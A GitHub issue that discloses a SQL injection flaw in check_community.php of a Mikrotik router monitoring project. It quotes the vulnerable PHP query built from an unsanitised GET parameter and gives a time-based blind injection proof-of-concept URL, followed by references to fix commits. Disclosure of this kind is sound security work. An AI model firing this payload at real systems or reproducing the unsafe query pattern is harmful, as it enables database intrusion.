Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security issue: SQL injection #4

Closed
hayasec opened this issue May 16, 2020 · 0 comments
Closed

Security issue: SQL injection #4

hayasec opened this issue May 16, 2020 · 0 comments

Comments

@hayasec
Copy link

hayasec commented May 16, 2020

Vulnerability type:

SQL injection

vulnerability code:

in file check_community.php line 49:

include('credentials.php');
$community = $_GET['community'];
$_SESSION['community'] = $community;
$query = "SELECT name from router where `community`='$community'";
$conn = new mysqli($db_host,$db_user,$db_pwd);
$conn->select_db('mikrotik');

Parameter $community exists in sql injection.

poc:

http://192.168.178.132/check_community.php?community=1' AND (SELECT 6941 FROM (SELECT(SLEEP(5)))Qaxg) AND 'sdHI'='sdHI

image

Jul10l1r4 added a commit to Jul10l1r4/Mikrotik-Router-Monitoring-System that referenced this issue May 17, 2020
adeoluwa-adebiyi added a commit that referenced this issue Nov 16, 2021
Fix SQL-injection in query #4 [Patch: Fix CVE 2020-13118]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants